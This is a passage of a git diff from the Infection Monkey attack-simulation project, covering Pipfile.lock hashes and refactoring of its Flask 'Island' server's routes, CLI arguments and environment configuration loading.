"sha256:50bcad0a0b9c5a72c8e4e7c9855a3ad496ca6a881a3641b4260605450772c54b", + "sha256:91ef2131a9bd6be8f76f1f08eac5c5317221d6ad1e143ae03894b862e8976890" + ], + "index": "pypi", + "version": "==6.2.4" + }, + "pytest-cov": { + "hashes": [ + "sha256:261bb9e47e65bd099c89c3edf92972865210c36813f80ede5277dceb77a4a62a", + "sha256:261ceeb8c227b726249b376b8526b600f38667ee314f910353fa318caa01f4d7" + ], + "index": "pypi", + "version": "==2.12.1" + }, + "regex": { + "hashes": [ + "sha256:0eb2c6e0fcec5e0f1d3bcc1133556563222a2ffd2211945d7b1480c1b1a42a6f", + "sha256:15dddb19823f5147e7517bb12635b3c82e6f2a3a6b696cc3e321522e8b9308ad", + "sha256:173bc44ff95bc1e96398c38f3629d86fa72e539c79900283afa895694229fe6a", + "sha256:1c78780bf46d620ff4fff40728f98b8afd8b8e35c3efd638c7df67be2d5cddbf", + "sha256:2366fe0479ca0e9afa534174faa2beae87847d208d457d200183f28c74eaea59", + "sha256:2bceeb491b38225b1fee4517107b8491ba54fba77cf22a12e996d96a3c55613d", + "sha256:2ddeabc7652024803666ea09f32dd1ed40a0579b6fbb2a213eba590683025895", + "sha256:2fe5e71e11a54e3355fa272137d521a40aace5d937d08b494bed4529964c19c4", + "sha256:319eb2a8d0888fa6f1d9177705f341bc9455a2c8aca130016e52c7fe8d6c37a3", + "sha256:3f5716923d3d0bfb27048242a6e0f14eecdb2e2a7fac47eda1d055288595f222", + "sha256:422dec1e7cbb2efbbe50e3f1de36b82906def93ed48da12d1714cabcd993d7f0", + "sha256:4c9c3155fe74269f61e27617529b7f09552fbb12e44b1189cebbdb24294e6e1c", + "sha256:4f64fc59fd5b10557f6cd0937e1597af022ad9b27d454e182485f1db3008f417", + "sha256:564a4c8a29435d1f2256ba247a0315325ea63335508ad8ed938a4f14c4116a5d", + "sha256:59506c6e8bd9306cd8a41511e32d16d5d1194110b8cfe5a11d102d8b63cf945d", + "sha256:598c0a79b4b851b922f504f9f39a863d83ebdfff787261a5ed061c21e67dd761", + "sha256:59c00bb8dd8775473cbfb967925ad2c3ecc8886b3b2d0c90a8e2707e06c743f0", + "sha256:6110bab7eab6566492618540c70edd4d2a18f40ca1d51d704f1d81c52d245026", + "sha256:6afe6a627888c9a6cfbb603d1d017ce204cebd589d66e0703309b8048c3b0854", + "sha256:791aa1b300e5b6e5d597c37c346fb4d66422178566bbb426dd87eaae475053fb", + "sha256:8394e266005f2d8c6f0bc6780001f7afa3ef81a7a2111fa35058ded6fce79e4d", + "sha256:875c355360d0f8d3d827e462b29ea7682bf52327d500a4f837e934e9e4656068", + "sha256:89e5528803566af4df368df2d6f503c84fbfb8249e6631c7b025fe23e6bd0cde", + "sha256:99d8ab206a5270c1002bfcf25c51bf329ca951e5a169f3b43214fdda1f0b5f0d", + "sha256:9a854b916806c7e3b40e6616ac9e85d3cdb7649d9e6590653deb5b341a736cec", + "sha256:b85ac458354165405c8a84725de7bbd07b00d9f72c31a60ffbf96bb38d3e25fa", + "sha256:bc84fb254a875a9f66616ed4538542fb7965db6356f3df571d783f7c8d256edd", + "sha256:c92831dac113a6e0ab28bc98f33781383fe294df1a2c3dfd1e850114da35fd5b", + "sha256:cbe23b323988a04c3e5b0c387fe3f8f363bf06c0680daf775875d979e376bd26", + "sha256:ccb3d2190476d00414aab36cca453e4596e8f70a206e2aa8db3d495a109153d2", + "sha256:d8bbce0c96462dbceaa7ac4a7dfbbee92745b801b24bce10a98d2f2b1ea9432f", + "sha256:db2b7df831c3187a37f3bb80ec095f249fa276dbe09abd3d35297fc250385694", + "sha256:e586f448df2bbc37dfadccdb7ccd125c62b4348cb90c10840d695592aa1b29e0", + "sha256:e5983c19d0beb6af88cb4d47afb92d96751fb3fa1784d8785b1cdf14c6519407", + "sha256:e6a1e5ca97d411a461041d057348e578dc344ecd2add3555aedba3b408c9f874", + "sha256:eaf58b9e30e0e546cdc3ac06cf9165a1ca5b3de8221e9df679416ca667972035", + "sha256:ed693137a9187052fc46eedfafdcb74e09917166362af4cc4fddc3b31560e93d", + "sha256:edd1a68f79b89b0c57339bce297ad5d5ffcc6ae7e1afdb10f1947706ed066c9c", + "sha256:f080248b3e029d052bf74a897b9d74cfb7643537fbde97fe8225a6467fb559b5", + "sha256:f9392a4555f3e4cb45310a65b403d86b589adc773898c25a39184b1ba4db8985", + "sha256:f98dc35ab9a749276f1a4a38ab3e0e2ba1662ce710f6530f5b0a6656f1c32b58" + ], + "version": "==2021.7.6" + }, + "requests": { + "hashes": [ + "sha256:27973dd4a904a4f13b263a19c866c13b92a39ed1c964655f025f3f8d3d75b804", + "sha256:c210084e36a42ae6b9219e00e48287def368a26d03a048ddad7bfee44f75871e" + ], + "index": "pypi", + "version": "==2.25.1" + }, + "requests-mock": { + "hashes": [ + "sha256:11215c6f4df72702aa357f205cf1e537cffd7392b3e787b58239bde5fb3db53b", + "sha256:e68f46844e4cee9d447150343c9ae875f99fa8037c6dcf5f15bf1fe9ab43d226" + ], + "index": "pypi", + "version": "==1.8.0" + }, + "sentinels": { + "hashes": [ + "sha256:7be0704d7fe1925e397e92d18669ace2f619c92b5d4eb21a89f31e026f9ff4b1" + ], + "version": "==1.0.0" + }, + "six": { + "hashes": [ + "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926", + "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254" + ], + "index": "pypi", + "version": "==1.16.0" + }, + "toml": { + "hashes": [ + "sha256:806143ae5bfb6a3c6e736a764057db0e6a0e05e338b5630894a5f779cabb4f9b", + "sha256:b3bda1d108d5dd99f4a20d24d9c348e91c4db7ab1b749200bded2f839ccbe68f" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.10.2" + }, + "typed-ast": { + "hashes": [ + "sha256:01ae5f73431d21eead5015997ab41afa53aa1fbe252f9da060be5dad2c730ace", + "sha256:067a74454df670dcaa4e59349a2e5c81e567d8d65458d480a5b3dfecec08c5ff", + "sha256:0fb71b8c643187d7492c1f8352f2c15b4c4af3f6338f21681d3681b3dc31a266", + "sha256:1b3ead4a96c9101bef08f9f7d1217c096f31667617b58de957f690c92378b528", + "sha256:2068531575a125b87a41802130fa7e29f26c09a2833fea68d9a40cf33902eba6", + "sha256:209596a4ec71d990d71d5e0d312ac935d86930e6eecff6ccc7007fe54d703808", + "sha256:2c726c276d09fc5c414693a2de063f521052d9ea7c240ce553316f70656c84d4", + "sha256:398e44cd480f4d2b7ee8d98385ca104e35c81525dd98c519acff1b79bdaac363", + "sha256:52b1eb8c83f178ab787f3a4283f68258525f8d70f778a2f6dd54d3b5e5fb4341", + "sha256:5feca99c17af94057417d744607b82dd0a664fd5e4ca98061480fd8b14b18d04", + "sha256:7538e495704e2ccda9b234b82423a4038f324f3a10c43bc088a1636180f11a41", + "sha256:760ad187b1041a154f0e4d0f6aae3e40fdb51d6de16e5c99aedadd9246450e9e", + "sha256:777a26c84bea6cd934422ac2e3b78863a37017618b6e5c08f92ef69853e765d3", + "sha256:95431a26309a21874005845c21118c83991c63ea800dd44843e42a916aec5899", + "sha256:9ad2c92ec681e02baf81fdfa056fe0d818645efa9af1f1cd5fd6f1bd2bdfd805", + "sha256:9c6d1a54552b5330bc657b7ef0eae25d00ba7ffe85d9ea8ae6540d2197a3788c", + "sha256:aee0c1256be6c07bd3e1263ff920c325b59849dc95392a05f258bb9b259cf39c", + "sha256:af3d4a73793725138d6b334d9d247ce7e5f084d96284ed23f22ee626a7b88e39", + "sha256:b36b4f3920103a25e1d5d024d155c504080959582b928e91cb608a65c3a49e1a", + "sha256:b9574c6f03f685070d859e75c7f9eeca02d6933273b5e69572e5ff9d5e3931c3", + "sha256:bff6ad71c81b3bba8fa35f0f1921fb24ff4476235a6e94a26ada2e54370e6da7", + "sha256:c190f0899e9f9f8b6b7863debfb739abcb21a5c054f911ca3596d12b8a4c4c7f", + "sha256:c907f561b1e83e93fad565bac5ba9c22d96a54e7ea0267c708bffe863cbe4075", + "sha256:cae53c389825d3b46fb37538441f75d6aecc4174f615d048321b716df2757fb0", + "sha256:dd4a21253f42b8d2b48410cb31fe501d32f8b9fbeb1f55063ad102fe9c425e40", + "sha256:dde816ca9dac1d9c01dd504ea5967821606f02e510438120091b84e852367428", + "sha256:f2362f3cb0f3172c42938946dbc5b7843c2a28aec307c49100c8b38764eb6927", + "sha256:f328adcfebed9f11301eaedfa48e15bdece9b519fb27e6a8c01aa52a17ec31b3", + "sha256:f8afcf15cc511ada719a88e013cec87c11aff7b91f019295eb4530f96fe5ef2f", + "sha256:fb1bbeac803adea29cedd70781399c99138358c26d05fcbd23c13016b7f5ec65" + ], + "version": "==1.4.3" + }, + "typing-extensions": { + "hashes": [ + "sha256:0ac0f89795dd19de6b97debb0c6af1c70987fd80a2d62d1958f7e56fcc31b497", + "sha256:50b6f157849174217d0656f99dc82fe932884fb250826c18350e159ec6cdf342", + "sha256:779383f6086d90c99ae41cf0ff39aac8a7937a9283ce0a414e5dd782f4c94a84" + ], + "markers": "python_version < '3.8'", + "version": "==3.10.0.0" + }, + "urllib3": { + "hashes": [ + "sha256:8d7eaa5a82a1cac232164990f04874c594c9453ec55eef02eab885aa02fc17a2", + "sha256:f5321fbe4bf3fefa0efd0bfe7fb14e90909eb62a48ccda331726b4319897dd5e" + ], + "markers": "python_version != '3.4'", + "version": "==1.25.11" + }, + "virtualenv": { + "hashes": [ + "sha256:14fdf849f80dbb29a4eb6caa9875d476ee2a5cf76a5f5415fa2f1606010ab467", + "sha256:2b0126166ea7c9c3661f5b8e06773d28f83322de7a3ff7d06f0aed18c9de6a76" + ], + "index": "pypi", + "version": "==20.4.7" + }, + "vulture": { + "hashes": [ + "sha256:03d5a62bcbe9ceb9a9b0575f42d71a2d414070229f2e6f95fa6e7c71aaaed967", + "sha256:f39de5e6f1df1f70c3b50da54f1c8d494159e9ca3d01a9b89eac929600591703" + ], + "index": "pypi", + "version": "==2.3" + }, + "zipp": { + "hashes": [ + "sha256:957cfda87797e389580cb8b9e3870841ca991e2125350677b2ca83a0e99390a3", + "sha256:f5812b1e007e48cff63449a5e9f4e7ebea716b4111f9c4f9a645f91d579bf0c4" + ], + "markers": "python_version >= '3.6'", + "version": "==3.5.0" + } + } +} diff --git a/monkey/monkey_island/__init__.py b/monkey/monkey_island/__init__.py index ee5b79ad0..e69de29bb 100644 --- a/monkey/monkey_island/__init__.py +++ b/monkey/monkey_island/__init__.py @@ -1 +0,0 @@ -__author__ = 'itay.mizeretz' diff --git a/monkey/monkey_island/cc/__init__.py b/monkey/monkey_island/cc/__init__.py index e593a854b..e69de29bb 100644 --- a/monkey/monkey_island/cc/__init__.py +++ b/monkey/monkey_island/cc/__init__.py @@ -1 +0,0 @@ -__author__ = 'Barak' diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index c7fd0006f..b3254d7cb 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -7,21 +7,28 @@ from werkzeug.exceptions import NotFound import monkey_island.cc.environment.environment_singleton as env_singleton from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH -from monkey_island.cc.resources.test.telemetry_test import TelemetryTest -from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.database import database, mongo from monkey_island.cc.resources.attack.attack_config import AttackConfiguration from monkey_island.cc.resources.attack.attack_report import AttackReport from monkey_island.cc.resources.auth.auth import Authenticate, init_jwt from monkey_island.cc.resources.auth.registration import Registration +from monkey_island.cc.resources.blackbox.clear_caches import ClearCaches +from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint +from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint +from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import ( + TelemetryBlackboxEndpoint, +) from monkey_island.cc.resources.bootloader import Bootloader from monkey_island.cc.resources.client_run import ClientRun +from monkey_island.cc.resources.configuration_export import ConfigurationExport +from monkey_island.cc.resources.configuration_import import ConfigurationImport from monkey_island.cc.resources.edge import Edge from monkey_island.cc.resources.environment import Environment +from monkey_island.cc.resources.exploitations.manual_exploitation import ManualExploitation +from monkey_island.cc.resources.exploitations.monkey_exploitation import MonkeyExploitation from monkey_island.cc.resources.island_configuration import IslandConfiguration from monkey_island.cc.resources.island_logs import IslandLog +from monkey_island.cc.resources.island_mode import IslandMode from monkey_island.cc.resources.local_run import LocalRun from monkey_island.cc.resources.log import Log from monkey_island.cc.resources.monkey import Monkey @@ -34,38 +41,43 @@ from monkey_island.cc.resources.node import Node from monkey_island.cc.resources.node_states import NodeStates from monkey_island.cc.resources.pba_file_download import PBAFileDownload from monkey_island.cc.resources.pba_file_upload import FileUpload +from monkey_island.cc.resources.ransomware_report import RansomwareReport from monkey_island.cc.resources.remote_run import RemoteRun -from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.root import Root +from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.T1216_pba_file_download import T1216PBAFileDownload from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry_feed import TelemetryFeed -from monkey_island.cc.resources.test.clear_caches import ClearCaches -from monkey_island.cc.resources.test.log_test import LogTest -from monkey_island.cc.resources.test.monkey_test import MonkeyTest from monkey_island.cc.resources.version_update import VersionUpdate from monkey_island.cc.resources.zero_trust.finding_event import ZeroTrustFindingEvent from monkey_island.cc.resources.zero_trust.scoutsuite_auth.aws_keys import AWSKeys from monkey_island.cc.resources.zero_trust.scoutsuite_auth.scoutsuite_auth import ScoutSuiteAuth +from monkey_island.cc.resources.zero_trust.zero_trust_report import ZeroTrustReport +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH +from monkey_island.cc.server_utils.custom_json_encoder import CustomJSONEncoder from monkey_island.cc.services.database import Database from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.representations import output_json -__author__ = 'Barak' - -HOME_FILE = 'index.html' +HOME_FILE = "index.html" def serve_static_file(static_path): - if static_path.startswith('api/'): + if static_path.startswith("api/"): raise NotFound() try: - return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/ui/dist'), static_path) + return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc/ui/dist"), static_path) except NotFound: - # Because react uses various urls for same index page, this is probably the user's intention. + # Because react uses various urls for same index page, this is probably the user's + # intention. if static_path == HOME_FILE: flask_restful.abort( - Response("Page not found. Make sure you ran the npm script and the cwd is monkey\\monkey.", 500)) + Response( + "Page not found. Make sure you ran the npm script and the cwd is " + "monkey\\monkey.", + 500, + ) + ) return serve_home() @@ -74,17 +86,19 @@ def serve_home(): def init_app_config(app, mongo_url): - app.config['MONGO_URI'] = mongo_url + app.config["MONGO_URI"] = mongo_url # See https://flask-jwt-extended.readthedocs.io/en/stable/options - app.config['JWT_ACCESS_TOKEN_EXPIRES'] = env_singleton.env.get_auth_expiration_time() - # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case of getting a JWT, + app.config["JWT_ACCESS_TOKEN_EXPIRES"] = env_singleton.env.get_auth_expiration_time() + # Invalidate the signature of JWTs if the server process restarts. This avoids the edge case + # of getting a JWT, # deciding to reset credentials and then still logging in with the old JWT. - app.config['JWT_SECRET_KEY'] = str(uuid.uuid4()) + app.config["JWT_SECRET_KEY"] = str(uuid.uuid4()) - # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK matrix in the + # By default, Flask sorts keys of JSON objects alphabetically, which messes with the ATT&CK + # matrix in the # configuration. See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. - app.config['JSON_SORT_KEYS'] = False + app.config["JSON_SORT_KEYS"] = False app.json_encoder = CustomJSONEncoder @@ -97,67 +111,84 @@ def init_app_services(app): database.init() Database.init_db() - # If running on AWS, this will initialize the instance data, which is used "later" in the execution of the island. + # If running on AWS, this will initialize the instance data, which is used "later" in the + # execution of the island. RemoteRunAwsService.init() def init_app_url_rules(app): - app.add_url_rule('/', 'serve_home', serve_home) - app.add_url_rule('/', 'serve_static_file', serve_static_file) + app.add_url_rule("/", "serve_home", serve_home) + app.add_url_rule("/", "serve_static_file", serve_static_file) def init_api_resources(api): - api.add_resource(Root, '/api') - api.add_resource(Registration, '/api/registration') - api.add_resource(Authenticate, '/api/auth') - api.add_resource(Environment, '/api/environment') - api.add_resource(Monkey, '/api/monkey', '/api/monkey/', '/api/monkey/') - api.add_resource(Bootloader, '/api/bootloader/') - api.add_resource(LocalRun, '/api/local-monkey', '/api/local-monkey/') - api.add_resource(ClientRun, '/api/client-monkey', '/api/client-monkey/') - api.add_resource(Telemetry, '/api/telemetry', '/api/telemetry/', '/api/telemetry/') - api.add_resource(MonkeyConfiguration, '/api/configuration', '/api/configuration/') - api.add_resource(IslandConfiguration, '/api/configuration/island', '/api/configuration/island/') - api.add_resource(MonkeyDownload, '/api/monkey/download', '/api/monkey/download/', - '/api/monkey/download/') - api.add_resource(NetMap, '/api/netmap', '/api/netmap/') - api.add_resource(Edge, '/api/netmap/edge', '/api/netmap/edge/') - api.add_resource(Node, '/api/netmap/node', '/api/netmap/node/') - api.add_resource(NodeStates, '/api/netmap/nodeStates') + api.add_resource(Root, "/api") + api.add_resource(Registration, "/api/registration") + api.add_resource(Authenticate, "/api/auth") + api.add_resource(Environment, "/api/environment") + api.add_resource(Monkey, "/api/monkey", "/api/monkey/", "/api/monkey/") + api.add_resource(Bootloader, "/api/bootloader/") + api.add_resource(LocalRun, "/api/local-monkey", "/api/local-monkey/") + api.add_resource(ClientRun, "/api/client-monkey", "/api/client-monkey/") + api.add_resource( + Telemetry, "/api/telemetry", "/api/telemetry/", "/api/telemetry/" + ) - api.add_resource(SecurityReport, '/api/report/security') - api.add_resource(ZeroTrustReport, '/api/report/zero-trust/') - api.add_resource(AttackReport, '/api/report/attack') + api.add_resource(IslandMode, "/api/island-mode") + api.add_resource(MonkeyConfiguration, "/api/configuration", "/api/configuration/") + api.add_resource(IslandConfiguration, "/api/configuration/island", "/api/configuration/island/") + api.add_resource(ConfigurationExport, "/api/configuration/export") + api.add_resource(ConfigurationImport, "/api/configuration/import") + api.add_resource( + MonkeyDownload, + "/api/monkey/download", + "/api/monkey/download/", + "/api/monkey/download/", + ) + api.add_resource(NetMap, "/api/netmap", "/api/netmap/") + api.add_resource(Edge, "/api/netmap/edge", "/api/netmap/edge/") + api.add_resource(Node, "/api/netmap/node", "/api/netmap/node/") + api.add_resource(NodeStates, "/api/netmap/nodeStates") - api.add_resource(ZeroTrustFindingEvent, '/api/zero-trust/finding-event/') - api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') - api.add_resource(Log, '/api/log', '/api/log/') - api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') - api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(SecurityReport, "/api/report/security") + api.add_resource(ZeroTrustReport, "/api/report/zero-trust/") + api.add_resource(AttackReport, "/api/report/attack") + api.add_resource(RansomwareReport, "/api/report/ransomware") + api.add_resource(ManualExploitation, "/api/exploitations/manual") + api.add_resource(MonkeyExploitation, "/api/exploitations/monkey") + + api.add_resource(ZeroTrustFindingEvent, "/api/zero-trust/finding-event/") + api.add_resource(TelemetryFeed, "/api/telemetry-feed", "/api/telemetry-feed/") + api.add_resource(Log, "/api/log", "/api/log/") + api.add_resource(IslandLog, "/api/log/island/download", "/api/log/island/download/") + api.add_resource(PBAFileDownload, "/api/pba/download/") api.add_resource(T1216PBAFileDownload, T1216_PBA_FILE_DOWNLOAD_PATH) - api.add_resource(FileUpload, '/api/fileUpload/', - '/api/fileUpload/?load=', - '/api/fileUpload/?restore=') - api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') - api.add_resource(AttackConfiguration, '/api/attack') - api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/') - api.add_resource(RemotePortCheck, '/api/monkey_control/check_remote_port/') - api.add_resource(StartedOnIsland, '/api/monkey_control/started_on_island') - api.add_resource(ScoutSuiteAuth, '/api/scoutsuite_auth/') - api.add_resource(AWSKeys, '/api/aws_keys') + api.add_resource( + FileUpload, + "/api/fileUpload/", + "/api/fileUpload/?load=", + "/api/fileUpload/?restore=", + ) + api.add_resource(RemoteRun, "/api/remote-monkey", "/api/remote-monkey/") + api.add_resource(AttackConfiguration, "/api/attack") + api.add_resource(VersionUpdate, "/api/version-update", "/api/version-update/") + api.add_resource(RemotePortCheck, "/api/monkey_control/check_remote_port/") + api.add_resource(StartedOnIsland, "/api/monkey_control/started_on_island") + api.add_resource(ScoutSuiteAuth, "/api/scoutsuite_auth/") + api.add_resource(AWSKeys, "/api/aws_keys") # Resources used by black box tests - api.add_resource(MonkeyTest, '/api/test/monkey') - api.add_resource(ClearCaches, '/api/test/clear_caches') - api.add_resource(LogTest, '/api/test/log') - api.add_resource(TelemetryTest, '/api/test/telemetry') + api.add_resource(MonkeyBlackboxEndpoint, "/api/test/monkey") + api.add_resource(ClearCaches, "/api/test/clear_caches") + api.add_resource(LogBlackboxEndpoint, "/api/test/log") + api.add_resource(TelemetryBlackboxEndpoint, "/api/test/telemetry") def init_app(mongo_url): app = Flask(__name__) api = flask_restful.Api(app) - api.representations = {'application/json': output_json} + api.representations = {"application/json": output_json} init_app_config(app, mongo_url) init_app_services(app) diff --git a/monkey/monkey_island/cc/arg_parser.py b/monkey/monkey_island/cc/arg_parser.py new file mode 100644 index 000000000..617658080 --- /dev/null +++ b/monkey/monkey_island/cc/arg_parser.py @@ -0,0 +1,30 @@ +from dataclasses import dataclass + + +@dataclass +class IslandCmdArgs: + setup_only: bool + server_config_path: str + + +def parse_cli_args() -> IslandCmdArgs: + import argparse + + parser = argparse.ArgumentParser( + description="Infection Monkey Island CnC Server. See https://infectionmonkey.com", + formatter_class=argparse.ArgumentDefaultsHelpFormatter, + ) + parser.add_argument( + "-s", + "--setup-only", + action="store_true", + help="Pass this flag to cause the Island to setup and exit without actually starting. " + "This is useful for preparing Island to boot faster later-on, so for " + "compiling/packaging Islands.", + ) + parser.add_argument( + "--server-config", action="store", help="The path to the server configuration file." + ) + args = parser.parse_args() + + return IslandCmdArgs(args.setup_only, args.server_config) diff --git a/monkey/monkey_island/cc/conftest.py b/monkey/monkey_island/cc/conftest.py deleted file mode 100644 index 0ed1533ab..000000000 --- a/monkey/monkey_island/cc/conftest.py +++ /dev/null @@ -1,3 +0,0 @@ -# Without these imports pytests can't use fixtures, -# because they are not found -from monkey_island.cc.test_common.fixtures import * # noqa: F401,F403 diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py index 082553e5f..6573e31f9 100644 --- a/monkey/monkey_island/cc/database.py +++ b/monkey/monkey_island/cc/database.py @@ -2,8 +2,6 @@ import gridfs from flask_pymongo import MongoClient, PyMongo from pymongo.errors import ServerSelectionTimeoutError -__author__ = 'Barak' - mongo = PyMongo() @@ -34,5 +32,5 @@ def get_db_version(mongo_url): :return: version as a tuple (e.g. `(u'4', u'0', u'8')`) """ client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) - server_version = tuple(client.server_info()['version'].split('.')) + server_version = tuple(client.server_info()["version"].split(".")) return server_version diff --git a/monkey/monkey_island/cc/environment/__init__.py b/monkey/monkey_island/cc/environment/__init__.py index 75012183f..1792ea99b 100644 --- a/monkey/monkey_island/cc/environment/__init__.py +++ b/monkey/monkey_island/cc/environment/__init__.py @@ -1,13 +1,12 @@ -import hashlib import logging -import os from abc import ABCMeta, abstractmethod from datetime import timedelta -__author__ = 'itay.mizeretz' - -from common.utils.exceptions import (AlreadyRegisteredError, CredentialsNotRequiredError, - InvalidRegistrationCredentialsError) +from common.utils.exceptions import ( + AlreadyRegisteredError, + CredentialsNotRequiredError, + InvalidRegistrationCredentialsError, +) from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds @@ -16,11 +15,6 @@ logger = logging.getLogger(__name__) class Environment(object, metaclass=ABCMeta): _ISLAND_PORT = 5000 - _MONGO_DB_NAME = "monkeyisland" - _MONGO_DB_HOST = "localhost" - _MONGO_DB_PORT = 27017 - _MONGO_URL = os.environ.get("MONKEY_MONGO_URL", - "mongodb://{0}:{1}/{2}".format(_MONGO_DB_HOST, _MONGO_DB_PORT, str(_MONGO_DB_NAME))) _DEBUG_SERVER = False _AUTH_EXPIRATION_TIME = timedelta(minutes=30) @@ -56,12 +50,14 @@ class Environment(object, metaclass=ABCMeta): def _try_needs_registration(self) -> bool: if not self._credentials_required: - raise CredentialsNotRequiredError("Credentials are not required " - "for current environment.") + raise CredentialsNotRequiredError( + "Credentials are not required " "for current environment." + ) else: if self._is_registered(): - raise AlreadyRegisteredError("User has already been registered. " - "Reset credentials or login.") + raise AlreadyRegisteredError( + "User has already been registered. " "Reset credentials or login." + ) return True def _is_registered(self) -> bool: @@ -90,38 +86,14 @@ class Environment(object, metaclass=ABCMeta): def get_island_port(self): return self._ISLAND_PORT - def get_mongo_url(self): - return self._MONGO_URL - def is_debug(self): return self._DEBUG_SERVER def get_auth_expiration_time(self): return self._AUTH_EXPIRATION_TIME - @staticmethod - def hash_secret(secret): - hash_obj = hashlib.sha3_512() - hash_obj.update(secret.encode('utf-8')) - return hash_obj.hexdigest() - def get_deployment(self) -> str: - deployment = 'unknown' + deployment = "unknown" if self._config and self._config.deployment: deployment = self._config.deployment return deployment - - def set_deployment(self, deployment: str): - self._config.deployment = deployment - - @property - def mongo_db_name(self): - return self._MONGO_DB_NAME - - @property - def mongo_db_host(self): - return self._MONGO_DB_HOST - - @property - def mongo_db_port(self): - return self._MONGO_DB_PORT diff --git a/monkey/monkey_island/cc/environment/aws.py b/monkey/monkey_island/cc/environment/aws.py index b1ba0a734..fda359133 100644 --- a/monkey/monkey_island/cc/environment/aws.py +++ b/monkey/monkey_island/cc/environment/aws.py @@ -1,25 +1,14 @@ from common.cloud.aws.aws_instance import AwsInstance from monkey_island.cc.environment import Environment -__author__ = 'itay.mizeretz' - class AwsEnvironment(Environment): - _credentials_required = True def __init__(self, config): super(AwsEnvironment, self).__init__(config) # Not suppressing error here on purpose. This is critical if we're on AWS env. self.aws_info = AwsInstance() - self._instance_id = self._get_instance_id() - self.region = self._get_region() - - def _get_instance_id(self): - return self.aws_info.get_instance_id() - - def _get_region(self): - return self.aws_info.get_region() def get_auth_users(self): if self._is_registered(): diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 35dbafc8e..b013bdcf3 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -2,66 +2,59 @@ from __future__ import annotations import json import os -from pathlib import Path from typing import Dict, List -import monkey_island.cc.environment.server_config_generator as server_config_generator -from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore -SERVER_CONFIG_FILENAME = "server_config.json" - class EnvironmentConfig: - def __init__(self, - server_config: str, - deployment: str, - user_creds: UserCreds, - aws=None): - self.server_config = server_config - self.deployment = deployment - self.user_creds = user_creds + def __init__(self, file_path): + self._server_config_path = os.path.expanduser(file_path) + self.server_config = None + self.deployment = None + self.user_creds = None + self.aws = None + + self._load_from_file(self._server_config_path) + + def _load_from_file(self, file_path): + file_path = os.path.expanduser(file_path) + + with open(file_path, "r") as f: + config_content = f.read() + + self._load_from_json(config_content) + + def _load_from_json(self, config_json: str) -> EnvironmentConfig: + data = json.loads(config_json) + self._load_from_dict(data["environment"]) + + def _load_from_dict(self, dict_data: Dict): + aws = dict_data["aws"] if "aws" in dict_data else None + + self.server_config = dict_data["server_config"] + self.deployment = dict_data["deployment"] + self.user_creds = _get_user_credentials_from_config(dict_data) self.aws = aws - @staticmethod - def get_from_json(config_json: str) -> EnvironmentConfig: - data = json.loads(config_json) - return EnvironmentConfig.get_from_dict(data) - - @staticmethod - def get_from_dict(dict_data: Dict) -> EnvironmentConfig: - user_creds = UserCreds.get_from_dict(dict_data) - aws = dict_data['aws'] if 'aws' in dict_data else None - return EnvironmentConfig(server_config=dict_data['server_config'], - deployment=dict_data['deployment'], - user_creds=user_creds, - aws=aws) - def save_to_file(self): - file_path = EnvironmentConfig.get_config_file_path() - with open(file_path, 'w') as f: - f.write(json.dumps(self.to_dict(), indent=2)) + with open(self._server_config_path, "r") as f: + config = json.load(f) - @staticmethod - def get_from_file() -> EnvironmentConfig: - file_path = EnvironmentConfig.get_config_file_path() - if not Path(file_path).is_file(): - server_config_generator.create_default_config_file(file_path) - with open(file_path, 'r') as f: - config_content = f.read() - return EnvironmentConfig.get_from_json(config_content) + config["environment"] = self.to_dict() - @staticmethod - def get_config_file_path() -> str: - return os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', SERVER_CONFIG_FILENAME) + with open(self._server_config_path, "w") as f: + f.write(json.dumps(config, indent=2)) def to_dict(self) -> Dict: - config_dict = {'server_config': self.server_config, - 'deployment': self.deployment} + config_dict = { + "server_config": self.server_config, + "deployment": self.deployment, + } if self.aws: - config_dict.update({'aws': self.aws}) + config_dict.update({"aws": self.aws}) config_dict.update(self.user_creds.to_dict()) return config_dict @@ -73,3 +66,10 @@ class EnvironmentConfig: def get_users(self) 